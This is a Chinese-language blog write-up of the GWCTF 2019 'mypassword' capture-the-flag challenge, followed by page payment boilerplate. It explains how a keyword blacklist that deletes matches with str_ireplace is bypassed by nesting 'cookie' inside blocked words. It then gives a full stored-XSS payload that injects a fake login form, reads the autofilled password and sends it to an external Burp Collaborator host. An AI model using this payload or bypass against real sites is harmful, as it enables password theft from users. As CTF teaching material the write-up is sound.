[GWCTF 2019]mypassword

知识点:xss

分析

两个有源码的地方,一个在登录页面login.js

我们发现在login.js中会存用户名和密码。

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}	//存cookie,键名和值分开
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
	//存用户名和密码
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

在反馈页面有一段php代码,有个黑名单,用了str_ireplace覆盖,我们可以用两个过滤的关键词绕过。例如:
feedback=sccookieript => 这样在黑名但执行到script的时候没检测到,知道黑名单为cookie的时候,把cookie覆盖为空,此时feedback=script

if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }

exp

在login.js中已经告诉我们存储密码的标签名字和元素位置了,最后把密码发到我们本地就行了。

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://ridwy9iu2miyl3ok1qhpsri15sbjz8.burpcollaborator.net/?a="+psw;
</scrcookieipt>

在反馈的页面提交一下,在访问一下。

用burpsuit来接收一下就可以了。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值